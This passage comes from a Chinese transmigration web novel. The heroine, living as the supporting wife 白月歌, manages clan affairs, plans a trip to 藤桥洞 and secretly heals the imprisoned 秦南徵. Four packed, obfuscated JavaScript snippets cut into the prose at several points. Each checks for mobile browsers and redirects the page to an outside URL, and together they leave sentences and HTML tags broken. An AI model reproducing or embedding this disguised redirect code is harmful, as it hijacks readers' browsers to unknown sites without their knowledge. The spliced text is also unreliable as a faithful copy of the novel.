“夫人,域内的善堂上月花销超了两千灵石,扣在这月还是像上次那样?”
“藤桥洞妖兽骚动死了上百人,那边带回来的十多个孤儿身上也有伤……”
“南,南徵小郎君将藤桥洞受伤的联兵也都带了回来……”
向她通传这一琐事的秦氏族卫大概也听说了秦南徴被软禁的消息,提起他的名字时,明显将头垂的更低。
白月歌当然不会迁怒一个老实打工的NPC,只给了他手信,让他去库房领伤药。
排在后面的人似乎见她如此,像是松了口气,这才快步进来,一件一件地向她请示。
很像是曾经被直系主管派去顶雷,找老板汇报的自己……
事情虽多,好在她继承了女配的记忆,脑子里对处理各类琐事有个清晰的脉络,解决起来还算容易,只是机械了点。
但即便如此,向她请示的人在霖辉堂里进进出出,还是让她感到一种在办事大厅当牛马打工人的恍惚感。
这些零碎琐事,让原书的世界背景如一帧帧动画,真正展现在了她的眼前。
白月歌再次意识到自己是真的被投放到小说《高冷家主狠狠宠》的虚拟世界之中。
这些NPC像他请示时所提供的信息,逐渐和书中的时间线吻合。
按照时间,两年后,小说所描述的神图大陆,即将迎来又一场妖兽肆虐。
她也会迎来女配白月歌的死亡结局。
这本名叫《高冷家主狠狠宠》的玄幻言情小说,将背景设定在虚构的神图大陆。
神图大陆是个处于灵气复苏初期的低魔世界,人族受灵气影响有限,得以进化得人极少,反被进化成妖兽的物种挤占了大半生存空间。
妖兽不仅有强大的体格,还具有很强的复制性,当它们达到一定数量,聚集在一起,会将灵气转化为瘴气,而这些瘴气,会让周围所有活物被同化为妖兽,包括人族。
所以,灵气复苏后,神图大陆人族原有的封建王朝瞬间就土崩瓦解,统一的版图在兽潮侵袭后,被割裂成了数块互不相连的小区域。
好在此后由人族苦苦守住的几块土地上,相继出现了在灵气催化下,成功觉醒的灵君,并在后来分化出了金,木,土,火四类不同属性。
属性分化后,灵君身体上逐渐进化出了印记,这印记能帮助他们吸收某一属性的灵气。
这些印记,形态上有的是飞禽走兽,有的是花草树木,但统一被后世的人称为印灵。
而最初觉醒了的四位初代灵君,实力强横,不仅强大到能召唤出实体印灵来抵御妖兽,更重振了人族的希望,在瓦砾之上建立了四处聚居地,奠定了以强大灵君为尊的神图大陆。
经过数年的奋战,初代灵君带领人族将四片互不相连的地域打通,将人族仅剩的力量凝聚起来,而他们的后人依靠代代相传的印灵,建立了四个庞大的世家,联手统治这四块土地。
男主和女配出身的龙崖秦氏、幽崤白氏,就是四世家中的两个。
秦氏印灵属火,火属性的印灵可以附着在冷兵器上,能轻易击破妖兽坚硬的外壳。
除此之外,秦氏传承的重明鸟印灵,令他们成了唯一能斩杀圣阶妖兽的存在。
但造物主总是吝啬,秦氏也被赋予了一个弱点——毫无免疫妖兽瘴气的能力。
相比于秦氏印灵的强横,女配白月歌出身的幽崤白氏更像个卖萌的玛卡巴卡。
白氏传承的木属性印灵只是遍地可见的忍冬,毫无攻击加成。
他们能代代传承下来的原因无他,只因拥有忍冬灵印的灵君,自带治愈和净化他人的能力,是唯一能扛得住圣阶妖兽瘴气污染的存在。
更是秦氏和另外两世家必不可缺的辅助。
另外两家,峪清王氏,他们的灵印属金,主机关铸造,化平崔氏的灵印属土,主阵法防御。
灵印通天的四灵君后人把持人族最后的资源。
四世家的灵印互补,单单一家根本无法抵抗兽潮和瘴气,故而,四足鼎立的情况一直持续到了现在。
近几十年,妖兽逐渐生出了灵智。每隔两年,就在严冬时集结,涌向一处城池,如果不能在春天到来前解决完这些妖兽,人族城池被破只是时间问题。
这是两年一次的小兽潮。
而每五年,神图大陆就会生出一只比以往更厉害的圣阶兽王,统领大批妖兽涌向人族城池。这是大兽潮。
虽说大小兽潮几乎每次能以人族的防守胜利告终,但妖兽每次都会给仅剩的人族造成重创。
这导致四世家根本无法积蓄力量对妖兽发起反攻,抢夺神图大陆最适合繁衍的生存之地,只能苟且一方。
百年前,由人族彻底统治神图大陆的盛况早已不复。
但在兽潮下勉强守住的幸运,也不是次次都眷顾人族。
三年前那场大兽潮中,化平崔氏的主城被圣阶的兽王狻猊,攻破了城门。
四家联手,哪怕损失无数子弟后,也仅能将其重创遁走而已。
按照五年降生一头圣阶妖兽的规律,两年后会有一只比狻猊更强大的圣阶妖兽降生,人族将面临两只兽王的夹击。
三年前的狻猊就已超出了人族防守的极限,很难想象再次降生的兽王会有多强。
虽说距离大兽潮还有两年,但白月歌从周围这些NPC的脸上已经感受到了如临大敌。
譬如秦东羽,作为众人心目中的秦氏最强战力,几乎所有时间都在四世家领地最薄弱的相连地带巡防坐镇。
和女配白月歌成婚两年,男主无数次路过龙崖,但仅仅回家了四次。
一个常年在外的人,必定难以看顾域内安定和一些家事——通常,这些费力不讨好的任务,会被家主交给能够信任的家臣,或是亲人。
所以白月歌在成婚后,就一直被丈夫丢在龙崖,代替他尽职尽责。
眼下,老家主去世,秦东羽并不能信任他留下的旧部,他难以看顾的琐事,就一股脑全扔给了白月歌。
处理鸡零狗碎被累坏了的白月歌,再一次认清了自己在本书的定位——她是个替男主减负,让他能有空出去跟女主谈恋爱的工具人。
其实她觉
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15051198|162837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得前期的女配跟恶毒不沾一点边,反而更像霸道总裁身边的冤种助理。
想到这些,白月歌啃着笔杆叹气,认命地写下治疗伤兵的配方,吩咐白厢去派人配药。
白荣很有眼色,看她露出疲态,就立马沏了杯灵茶给她。
“夫人,藤桥洞周围的妖兽蠢蠢欲动,我听秦罡说,家主半月后要动身过去……您要跟着去么?”
又是藤桥洞。
这个地方,虽说名字是洞,但其实是个地势低洼易守难攻的地方。藤桥洞外围高山险峻,妖兽环伺,是秦、白两族唯一接壤的地方。
如果藤桥洞的防线被切断,幽崤白氏就会孤立无援,相同的,其余三世家也会失去白氏这个不可或缺的助力,必定在同妖兽的抗争中落入下风。
但白月歌之所以对这个地方的印象很深,完全是因为男女主的孽缘,就始于这里!
在白月歌的记忆里,女配在男女主藤桥洞初遇这段剧情里,没什么存在感。
相应的,这意味着她应该继续留在龙崖,等到两年后,再掺和进男女主的奸情里,逐渐黑化,成为男女主恋情的试金石,然后走完自毁剧情下线回家。
所以一听说现在就要去藤桥洞,白月歌马上摇摇头,接下白荣递过来的灵茶,却被又苦又烫的灵茶逼得当场喷出来。
【OOC警告!OOC警告!请宿主修正人设!】
“……”
喷茶确实不符合女配的淑女人设她理解,但让她咽下去也是真的强人所难。
白月歌只能在后续的表现里找补,修正人设。
她捏着手帕掩面咳嗽:“想来是前些天受了风寒,一时没忍住。”
白厢却未雨绸缪起来:“您的身体……还是不要去藤桥洞了罢,听说那边和龙崖一样,下了大雪。”
白荣将地上的茶水收拢干净:“女郎不去的话,咱们白氏的家主知道了定会失望的……”
白月歌放下手帕。
白氏的家主——白月闻?
“哥哥?”
白荣:“是啊,您的兄长据说已经在去从幽崤赶去藤桥洞的路上,随行的还有先前一起在青翼营共事的同袍……”
白荣说起了她嫁人前,在青翼营的一些故人和往事,其中不乏也提到了她和秦东羽的结识。
“……您就不想去跟他们再见见吗?”
白月歌没接话,拿出自己随身的小本子,翻看她趁热记下的小说情节——自己去不去藤桥洞,似乎是个影响原有情节发展的选择。
她正出神,白厢却打断了白荣的话,白厢觉得她应该先以自己的身体为先,而不是为了顾全一些情义,去苦了自己。
随后,这两个人当着她的面辩得都快要上升到人族会不会毁灭的程度……
“女郎的印灵是金线忍冬,这种印灵的成型和进阶,可是会受心境影响的!”白荣根本不听白厢谨小慎微的那一套。
“女郎上次见家主还是两年前,她这次如果去藤桥洞和家主团圆,心境大好,说不定能让印灵成型,进阶得和初代灵君一样强大,拥有传说中净化圣阶兽王的力量,直接化解两年后的大兽潮!”
“你就知道白氏的初代灵君依靠成型印灵净化了圣阶兽王,但这之前,她被兽王强行掳走,在瘴气之地两年,差点兽化的事,你是一点不提啊!”
“就是因为两年没见亲人,所以初代灵君回来后,一见亲人,心境大好,这才进阶,以后真就净化了圣阶兽王啊!”
“你就知道两年,两年!”
两年?
白月歌心里一惊!
幸好她的随侍今天唱了个二人转,不然她险些就要走错剧情。
女配两年没见到兄长白月闻,是个重点剧情!
惊吓之余,白月歌再次感慨自己不论多难吃的文,只要一打开,就会被硬控到读完的怪癖。
她这种人,不论做什么都会成功吧?
虽然穿到了正文开始前,但她记得两年后,女配会在大兽潮结束时,作死挑战男女主,事情败露后,她为了活命,仓惶逃亡到藤桥洞外围。
在那里,女配为了活下去,越阶对妖兽使用了净化术,却被反噬,彻底妖兽化。
但为了制造爽点,原书作者安排女配在妖兽化后,仍保有作为人的清醒意识,增加女配的绝望感。
而这时,在痛苦中快要放弃求生的白月歌,中遇到了前来猎杀妖兽的亲哥哥白月闻。
因为外形完全没有一点昔日的影子,且无法口吐人言,兽化的女配一出现,就被毫不知情白月闻一箭穿心,命不久矣。
5. 藤桥洞一别两年
女配白月歌弥留之际恢复了原貌,白月闻这才发现自己铸成大错。
大概是人之将死其言也善,白月歌坦言,自己在死之前,能见到在藤桥洞一别两年未见的兄长,已无憾了。
在藤桥洞一别两年——
白月歌背着白厢白荣,又偷偷翻看自己做的剧情备忘录。
算上大兽潮,两年前就是现在。
这意味着,她在最近就要动身去藤桥洞见白月闻。
但白月歌又纠结了。
她这本子上还特意记了一点,自己要避开秦氏兄弟和女主林软软在藤桥洞的相遇。
因为原文这节没提到她。
到现在看来,自己没出现在这节,并非是原身不在藤桥洞,而是意味着她没掺和进这三人相遇的场面里……
只要在藤桥洞时,她避开这三个人都在场的场景,就能避免剧情出错。
然后她在另一边,安排上自己和白月闻在书中“阔别两年”的剧情。
等剧情一完成,她也就能从藤桥洞这修罗场功成身退了。
白月歌思索着,又在本子上记下一些自己需要注意的事项。
转身就见白荣和白厢争得面红耳赤,各自撸起了袖子——
白月歌默默看了眼白荣刚才沏好的那壶灵茶,给他们一人递了一杯。
“渴了吧?”
争论半天,早就渴了的两人,点头不是,摇头也不是,只能接下茶盏。
白月歌给自己也倒了一杯灵茶,边撇这浮沫,边向他们宣布自己要去藤桥洞的决定。
白厢欲言又止,无奈摇头,选择尊重她的决定。
这让白月歌有些出乎意料。
“就知道女郎一定会去,”白荣嘚瑟地把茶盏放在一边,冲白厢挑眉,“我怎么说的?”
浮沫撇去,白月歌呷了一口灵茶,只觉苦得难以下咽,她招招手让白荣过来:
“你自己尝尝。”
像这种把灵茶泡坏的事儿,肯定不是白厢这心细如发的姑娘做出来的。
“你以后离我的灵茶远点。”
白荣不信:“我沏得茶要是不好喝,就咒我以后娶个跟白厢一样凶的。”
“丑东西!”白厢狠掐了他耳朵,他却捂着耳朵嬉笑看她。
“又在暗爽什么!”白厢抽回手躲到白月歌身后。
争执间,白荣无所谓地端起那壶茶一口饮下。
顿时被打肿了脸。
嘴里嘟囔着一些不应该啊他一直很仔细啊这种话,然后被白厢臭骂了一顿。
眼见两人又要吵嘴,白月歌捂着太阳穴,发话把他们支开:
“……家主要带联兵去藤桥洞,这几日必定要开始安排,到时候事多,既然要随行,我们就不能等到临近了才动作,耽误行程。”
“吵得我头痛。”
两人听到她的吩咐,看似是消停了,却还在暗地里互掐。
“啧——怎么还不动?”
两个人别扭地躬了躬身离开,却在一跨过门槛,又互相掐起来。
“……”
终于走了。
离开了NPC的监控,白月歌难得地有了自由时间。
她吞下早已准备好的换骨洗髓散。
傍晚族卫也刚巡视过霖辉堂,短时间内,她身边没有眼睛。
换骨洗髓散是用不少罕见药草兽材制成的奇药,能在两刻钟内改变一个人的身形,因为在对付妖兽上没什么用处,又做起来花费高。
这药方在百年前被白氏研究出来以后,就被丢到一旁,所以几乎没多少人知道有这药——现在,正巧被白月歌拿来当掩饰身份的外挂。
吞下小药,白月歌从一个婀娜高挑的女郎,瞬间变成了一位孱弱娇小的少女,原本尺寸合适的锁灵戒在她细长的手指上大了一圈。
草草换上事先准备好的黑衣和蒙面罩纱,白月歌像一只黑黢黢的耗子,窜去春晖药堂拿药。
春晖药堂是女配嫁给秦东羽后,老家主为了展现对白氏的尊重,特意为她开辟出的专用药堂,为的是让白氏能在此处不被打扰地继续修行医术。
先前秦南徴在祠堂重伤,被丢进了泽鹿苑,好在泽鹿苑同春晖药堂只隔着一段很短的连廊。
药堂绝佳的地理位置,给白月歌偷偷取药给秦南徴疗伤套近乎,又不会被发现带来了很大便利。
大概是看在秦南徴重伤,短期内闹不出大动静,白月歌带着药来到泽鹿苑外头时,那里只守着两个秦氏子弟。
两人正靠着门当,凑在一起吹牛。
“知道灵君冢吗?”
“小声点,不让提这名字——你不知道当年幽崤和龙崖的初代灵君就是死在那的啊?”
“藤桥洞就藤桥洞,叫什么灵君冢,怪吓人的。”
“有什么好怕的……我都跟着四世家的联兵去过三回了,”说着,这人撩起袖子给另一个看,“这个疤,就是我第一次去藤桥洞,让一只赤睛蛇给咬的——那会儿我还是新人,第一次到域外。”
“新人头一回只让待在屯兵所,不用出去杀妖兽!吹牛吧你就。”
“切,自从化平被大兽潮破城后,联兵哪还分新人老人。再说了,那次我是被派到外围二十里的地方砍树林子,不是杀妖兽……这种简单任务,一行二十人都没事,就我一个撞见妖兽了!”
“草,你也是倒霉,哈哈。”
这两人聊得火热,白月歌轻手轻脚从连廊另一头搬石头垫在院墙边。
“砍树林子也是怕屯兵所外围藏妖兽吧。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15051199|162837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>听到两人说起屯兵所外藏妖兽,白月歌倒是对这段剧情还有些印象。
崔氏是主城化平,在上一次大兽潮被圣阶兽王攻破,就是因为屯兵所外树影重重,城墙上的视野被遮蔽,让妖兽躲过了联兵的探查,在靠近城墙的树林聚集了起来,让化平城在大兽潮中被攻了个措手不及。
“这次藤桥洞又出事了,深入屯兵所外围清理妖兽的两个前锋小队,出去半个月了,一个都没回来——家主打算从龙崖抽几十个好手,亲自去一趟……”
“深入外围?不怕瘴气把人催化成妖兽么?”
“前锋小队里有白氏的人给他们做驱散——就这也没回来,怪得狠。”
一听两人提起白氏,白月歌停下动作,生怕就此离开会漏掉重要线索。
他们的谈话声越来越清晰,似乎在向她的方位靠近。
【请宿主谨慎靠近,避免引起NPC的注意!】
收到系统警示,白月歌不敢冒险停留,用掌心轻拍地面,身体轻轻一弹,借助印灵的力量悄无声息地翻过了院墙。
翻飞的衣角将院墙里的杏树枝条挂断了几枝,好在地上白皑皑一片,落下也没什么声响,反倒是她踏在雪上的声音更大些。
以往泽鹿苑里娇贵的花树,被连日的风雪打掉了所有花叶。
唯一还保有一丝绿意的,是株不起眼的冬青,以前被种到角落里,用来衬托漂亮的花树,如今反倒只有缩在墙角的它活了下来,但也快被这无人打扫的积雪彻底掩埋。
白月歌轻轻推开门,血腥味混着劣质伤药的味道席卷了她的整个鼻腔。
冬月的黑夜降临的早,虽是傍晚,但屋内的光线已消失了大半。
白月歌不敢引燃屋内的火液,那样太显眼,只能将掌心的印灵点亮,木属性的印灵能发出的光很微弱,像一簇不起眼的萤火。
借着微光,白月歌艰难分辨出了像破抹布一样被丢弃在床榻上的秦南徵。
大概是怕他死了,秦南徵身上的伤被草草处理了一下。
但秦氏的灵印属火,秦氏族卫在他身上留下伤口很难愈合,伤口的血液将衣料和肉粘在一起,劣质伤药也糊在上面。
看着怪恶心的,还不如不处理,现在她还得重新清理一遍。
也幸亏是冬天,没什么蚊虫,伤口也没有化脓,但刺骨的寒冷,让秦南徵受寒发起了高热,白月歌还未触及他,掌心就感受到了他滚烫的鼻息。
白月歌的伴生印灵属木,是稀有的金线忍冬,又伴生在右手心这种很方便使用的位置,能将愈合的灵印力量发挥到最大。
此时印灵却被她暴殄天物拿来当烛台照明,不消半刻就损耗了五分之一,再这样下去,不仅不够给秦南徵止血,她连离开时用来爬墙的力量都会耗尽。
6. 他派你来杀我吗?
秦南徴的灵印属火,和男主秦东羽的一样,伴生印都是重明鸟,就生在左颈侧。
白月歌按记忆里从女配身上学到的技能点,抬手将自己掌心的灵印,贴覆在秦南徵左颈侧的灵印上,替他驱寒止血。
锁灵戒开始作用,其上的萤石发出微微发烫。
两方灵印相接的一瞬间,白月歌就感受到身体中的力量被急速抽离,额头上细密的汗珠贴着脸颊流,在衣领处留下一片深色的湿痕,随着时间的加长,脱力的感觉也随之加重。
秦南徵在重伤昏睡中,感到自己像是被一团和煦的风裹了起来,那风里带着丰沛的水汽,失血过多口干舌燥的他一接触到潮湿的水汽,身体就产生出无法克制的渴求,向着那股和煦的风靠拢。
可潜意识告诉他现在是冬月,也不会有人来为他疗伤。
但那一缕温柔的风,带着春日花草的生机,让他逐渐暖和起来,人也清醒了一些。
污血从伤口淌出流下的感觉,如同长脚蜈蚣蜿蜒着从皮肤上爬过,带着让他恐惧的麻痒,他很怕自己就这样血液流尽,被冻死在无人的冬夜,像他娘一样。
或许多年前兽潮来袭的那个寒冬,他就该死守在母亲身边,和她一起被冻死在某个未知的冬夜,而不是被父亲带回来,若干年后再得到个相同的结局——总之都是死在冬夜,早些至少还能跟母亲相伴。
总好过现在,从云端跌落,受尽侮辱。
痛苦一眼望不到边,他想逃,可汹涌的恨让他无处可逃,剩下的唯有不甘。
为什么呢?
从前那些会摸着他脑袋夸他的叔伯,一夜之间像未曾谋面的陌生人,矜持地不肯为他说上一句话。往日追他捧他的好兄弟,像中邪了,打起他来毫不手软。
昔日同窗长辈,都唯兄长马首是瞻兄,生怕触了他的霉头,日后在秦氏吃不上肉。
秦南徴这被父亲保护的过了头的宁馨儿,生平第一次知道,人险恶起来,比妖兽更甚。
他恍然悟了。
以前,叔父们夸他,是拍父亲马屁,兄长护他,是讨父亲欢心,族中子弟追捧他,是想通过他谋个好前程。
人天生就有两张嘴脸,人前人后所言所行的不同,皆为一己私欲。
可半梦半醒间,秦南徴又发现自己所悟,仅在一人身上无法得证——那个身上常年带着苦涩药味的女人。
那人自嫁给兄长后,就是一副好似看他一眼都会脏了自己眼睛的样子。
但碍于长嫂的身份,她不得不对装模作样,对他和善慈爱。
按理说父亲死后,她会和兄长一样,让这些和善都去见鬼。
可偏偏只有她在自己被打时,出手阻拦。
秦南徴更愿意相信,她在灵堂的阻拦,也只是想在人前伪装出一副善良的模样,妄图用伪善来掩饰她在父亲重病期间,无视纵容族中弟子对他的霸凌。
是了,她与那些人没有区别。
秦南徴为自己透彻的感悟感到欣慰。
他昏昏沉沉间,似乎又闻到了长嫂身畔那股独有的涩意清苦味道。
同忍冬的苦涩味道一样,这一药材并不恶臭,但他对此有着生理性的讨厌。
一时间,恶心的感觉涌上来,秦南徴眼皮沉重,连睁也未睁,就俯在床边干呕起来。
【哔——】系统的警示音诡异又刺耳。
这直接吓到了在床边给他医治的白月歌。生怕被发现的她,被惊得秒速滑跪,却将身一扭,钻到了床底下。
白月歌的心脏砰砰直跳,她侧脸看向另一侧高大的博古架。
她想不通自己为什么下意识往床底下钻。
“哕!”
白月歌感觉她没来得及缩到床底的头,好像被什么热热的液体浇了一脑壳。
“……”
“哕——”
怪不得你小子当不上男主!谁家网文男主说吐就吐?
网文男主再难受也只是扶着胃,将清冷的眉眼皱起,让配角故意到迟钝的女主面前,将他的胃病揭穿,来博取女主心疼,哪会真“哕”出来恶心人!
再说了,她一会儿回去后,要怎么跟白荣白厢解释头上有脏东西!
就算再恶心,她这会儿也不敢动,只能任头顶热乎乎的东西顺着发丝往下淌,那黏腻的触感,腥热的气味——白月歌用手指搓了搓,在发觉那只是血后,心里好受了点。
她对被吐了一头的愤怒不知不觉消下了一半。
后知后觉的想起,秦南徴快要发现她的时候,系统只是【哔】了一声,并没发出剧情偏离和人设OOC的警告。
这再一次印证了白月歌的猜想。宿主为触发钥匙,在和钥匙NPC独处时的行为不会判定OOC。
约莫等了一刻钟,听到头顶的人没了动静,白月歌才撅着屁股,一点点从床底下探出来。
确认过秦南徵就算被打一拳也不会醒来,白月歌动作熟练地掀开他薄薄的冬衣。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15051200|162837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>宽肩窄腰,肌肉紧实流畅——哪怕伤痕交错,也很富有美感。
白月歌啧啧两声,又抬手去摸秦南徴腰上的Q版阿晋。
指尖刚一接触那片肌肤,白月歌眼前就闪过一句自己在《高冷家主狠狠宠》里段评:
【瑟瑟的……林软软这死丫头吃这么好,让我也进去演两集!我是VIP!没看到吗,我是VIP!】
“……”
她这段评貌似是原女主林软软给半裸的秦南徴疗伤那一节留下的吧?
梦女苦茶子乱飞,口嗨的涩涩愿望,绿江的穿书系统倒是放心上了!平时骂它优化的时候怎么不积极!
早知道,她就该去看盗文,让垃圾系统抓取不到她的评论!(盗文的不对的,好孩子不要盗文)
白月歌想象中图腾金光大放,系统恭祝自己拿到穿梭之门钥匙的画面没有发生,而是发来了今天的提示。
【今日彩蛋触发[1/1]已完成】
白月歌这才将手不舍地收回,准备离开。
好巧不巧,门外传来咯吱咯吱的声音,像是有人踏雪而来,白月歌吓得又钻到了床下。
“……”
今日钻床底任务【2/2】已完成。
灰尘呛得她差点打出喷嚏。
须臾,脚步声越来越近,门被人从外面打开,那人像是带着烛台,一进来,就将房间的一角照亮。
白月歌看到一双绣着重明鸟纹路的白底皂靴缓步走到床边。
能穿得上绣了重明鸟纹路衣饰的人,在秦氏辈分不会低——这应该就是书中曾帮助过秦南徵的神秘人了。
白月歌还记得这神秘人,这条线一直让她搞不清谁才是真正的男主,直到后面剧情崩坏。
她才明白,辣鸡作者笔力不足以支撑自己故弄玄虚的伏笔,神秘人伏笔成了废笔,根本收不了线!
书中的神秘人在床边站定,白月歌听到他翻动布料的声音,看样子是发现有人提前给秦南徵简单处理了伤口。
白月歌心跳如雷,刚才那脚步落在雪地里的声音,让她无端想起自己刚刚来的时候,好像忘记了处理留在雪地里的脚印……
“南徵。”神秘人轻声呼唤。
听声音,这神秘人竟然是个老者,音色让白月歌无端地感到熟悉。
不知老者对床上人事不省的少年做了什么,床榻轻微摇晃后,白月歌听到了秦南徴嘶哑无力的讥讽:
“他派你来杀我吗?”
7. 您不用解释
对面的老者安静了半晌,大概没料到少年会用最坏的想法来揣摩自己。
“怎么连我也恨上了?”
“没能在你父亲走之前赶回来护着你,让你连我也怀疑了吗。孩子?”
“孩子?”少年嘶哑的声音像个风烛残年的老人。
老者一顿:“早前也告诉过你,不要意气用事。”
“你会让丧父的孩子在父亲灵前被人像狗一样赶走?”
“你会让他被软禁,虚弱得连陌刀都提不起,只能被一群杂碎打倒,躺在宗祠的雪地受人指指点点?”
不知道发生了什么,秦南徴垂落的衣角在床边狠狠一甩,正抽到白月歌来不及阖上的眼睛。
一瞬间火辣辣的疼,她捂着飙泪的眼睛,听到床上少年从鼻腔憋出来声不甚熟练的冷笑。
“你不记得自己做了什么?你和他们一样,落井下石。”
“长嫂还装样子拦了一番——”
“你让人把我轰出去,让我赶紧跪下承认自己是野种。”
被cue到的白月歌在床底下特马头流泪。
她还记得一些秦南徴被打时候的事,当时让人赶秦南徴,逼他承认自己是野种的人,是那个声音最大,最爱指手画脚的二堂伯吧?
这神秘老者隐藏得好深,如果不是偷偷听到,她很可能在之后的剧情里判断失误。
她还以为这老头和四堂叔一样站在秦东羽那一边。
白月歌趴在床底继续骂这小说的作者砍纲不收线,小说的故事完整度这么差,居然没扑街!
床上的秦南徴还在恨天恨地。
少年遭逢大变,虽已明白,善恶都隐藏在表相之下,不该因表相轻易下论断。
可滔滔不绝的恨意和委屈,将他的理智轻易击溃,他根本不在乎二堂伯是不是秦东羽派来试探自己的,他只想狠狠发泄一番。
老者并不介意他敌我不分的发泄,反倒虚抚着他的发顶。
“怨我看走了眼,先前被秦东羽多年的谦和所蒙蔽,这才在你父亲重病期间离开龙崖去了趟陀山道。等发现不对时,你已踩中了秦东羽的圈套,让他有了动手的机会。”
秦南徴颈侧的重明鸟明明灭灭,瞳孔变成了金褐色,他粗重的呼吸声在寂静的空间里显得尤为清晰,他用尽所剩的灵印力量,想要利用自身伴生印的特质,在黑暗中看清楚这位堂伯面上的神色。
秦氏传承的灵印属火,其中以火属性的重明鸟伴生印最为稀有。重明鸟伴生印的传承者拥有夜视能力。
老者看着秦南徵的瞳孔里窜起的金褐色火焰,再一次感慨他天赋斐然。
若非晚生几年,后来才被带回龙崖,以他的天资,在化平一战功成名就的人,便不会是秦东羽。
不论再高的天赋,少年都得先活下来,才能有资格去和秦东羽论尊严公平。
年轻的孩子总会比老家伙们更在乎那些,但活得久了的人,更知道活着的好,可究竟是站着还是跪着活,在他这样的老家伙心里,总是放在后面去考虑。
但他知道,被老家主捧在手心里养大的孩子,是从没跪下过的。
老者眼里流露出惋惜之色。
从自己在灵堂上呵斥这孩子,让他跪下时,就已经在对逝去的老家主忏悔他对誓言的亵渎了。
“你且好好养伤,等我寻得机会,就送你离开。”
他见秦南徵似是冷静了许多,便伸手想去看看他的伤,却被他一掌推开。
感受到那推开的力道并不小,老者先前沉重的心情似乎好了些,他呵呵一笑:
“年轻人就是恢复的快。看来我安排的人,已将你医治得差不多了,再来医治几次,你便能痊愈。”
秦南徵猛然一怔,回想起刚才昏睡中那股温柔和煦的力量。
这才确信,那时真的有人在为自己疗伤。
“藤桥洞又不太平了,过些日子,联兵就会出发。我会想办法把你塞进联兵——那是你离开秦氏,重新立足四世家的唯一机会,你要尽快养好,兽潮可不等人……南徵,你兄长已然不可小觑,二堂伯能为你做得,也只有这些。”
“日后站着还是跪着,全凭你自己去挣。”
老者说完这些,叹着气抬步离去,走到门边时,又忍不住说道:“南徵,我既对你父亲母亲许下重诺,就绝不会食言。”
秦南徴似乎被这句话点醒,好像想起了什么,站起身去送老者秘密离开。
此后余下的夜晚格外漫长,白月歌一直躲在床底,听秦南徴在床上翻来覆去,一直没睡熟。
这种情况让她根本找不到从床底离开的机会。
终于在天刚蒙蒙亮时,床边的靴子终于被人提起穿上,悉悉索索的衣料摩擦声之后,她在床底看到少年推门而出。
紧接着,院子里传来金属锐器破空的铮鸣声。
这种声音白月歌很熟悉,她每天清晨在霖辉堂看秦东羽晨练时也会听到。
他在院落中,或是舞重剑,或是挥唐刀,不论风雪,日日如此。
秦南徴的伤刚好了五分,就迫不及待地奋发向上,白月歌觉得昨晚二堂伯那最后的话,对他有很大触动。
窝在床底一晚的白月歌终于找到了离开的机会——万幸寒冬的天亮得迟,她趁秦南徴的陌刀在地上拖动摆尾,发出剧响的机会,打开窗户滚到被雪掩埋的冬青丛里,踩着假山石,用狗爬式狼狈翻出泽鹿苑,窜回了春晖药堂。
回来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15051201|162837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的时间还算早,距离平日白荣白厢来侍奉她起身还剩下两刻钟。
白月歌昨晚服下的换骨洗髓散早过了药效,身形已恢复得高挑,暗色的夜行服贴着她的身形,紧绷地让她呼吸困难。
上面浓重的血腥味太过明显。
夜行服不好寻,以后还用得上,肯定不能销毁,但藏在哪?
白月歌的眼睛又瞟向了床。
人一旦藏过床底,这辈也就这样了……
她的藏衣服的动作刚停下,居室的门被人推开。
白厢进来后见她在此处,显得惊讶极了。
“您怎么在这?”
白月歌顶着还未洗掉血迹的头发,无处可藏。
“昨日让我和白荣去收拾行囊,我们二人回到春晖药堂后就没见到您,还当您自行回了霖辉堂——”白厢一边解释自己为何没敲门,一边迎上来准备替她呈上净面的手帕。
白月歌高了白厢许多,努力遮掩之下,还是让她发现了自己头上粘着不明污秽。
白月歌用沾了温水的手帕遮住自己眼下的青黑,抿唇想让苍白的唇瓣充血,看起来不那么病态:“我……我昨晚是去……”
“您不用解释。”
白月歌没料到自己身边木讷的小侍女NPC居然生气了。
白厢接下来的话,堵住了白月歌还没组织好的语言。
